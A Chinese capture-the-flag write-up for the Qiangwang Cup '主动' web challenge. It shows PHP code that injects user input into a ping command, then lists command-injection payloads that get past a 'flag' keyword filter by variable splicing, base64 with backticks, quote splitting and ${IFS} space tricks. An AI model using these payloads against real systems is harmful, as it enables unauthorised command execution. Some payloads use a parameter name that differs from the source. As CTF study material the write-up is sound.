[第四届-强网杯]:主动

源码:

<?php
highlight_file("index.php");

if(preg_match("/flag/i", $_GET["ip"]))
{
    die("no flag");
}

system("ping -c 3 $_GET[ip]");

?> 

很明显的命令执行:
在这里插入图片描述

由上,我们看到,flag.php就在当前目录下,那么直接cat ./flag不就行了?
可人家将flag关键字过滤了,绕过的方法非常简单(其实刚好前不久才碰到…),有很多种方法绕过;
思路也很简单,只要不然他匹配到关键字即可。

绕过

1.利用变量去绕过:

通过变量赋值,再进行拼接,即可进行绕过:
payload:

?ip=1;a=fl;b=ag;cat $a$b.php

查看源代码:
在这里插入图片描述

2.通过base64编码

我们需要执行的命令传进去base64编码下,在解码执行即可

?id=1;cat `echo 'Li9mbGFnLnBocAo=' | base64 -d`

这里说一下:反引号`在Linux的命令行中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置,即完成引用命令的执行,将其结果替换出来。也就是说会将`里面base64解码的命令输出结果返回到命令中。这样即可绕过限制。(说一下,这里不止反引号`,$()也能在shell中起到命令替换的效果。)
也就间接执行了cat ./flag.php
在这里插入图片描述

查看源代码:
在这里插入图片描述

3通过引号绕过关键字

主要的目的还是不让匹配到关键字,那好办
payload:

?id=1;cat ./fl'ag'.php

查看源代码:
在这里插入图片描述

4.绕空格过滤

如果碰到过滤空格,还可以\${IFS}、<、 $IFS、\$IFS$9等字符来代替。

当然绕过姿势肯定是不止上面所说的那些,要懂得随机应变。

flag:

flag:flag{I_like_qwb_web
  • 4
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值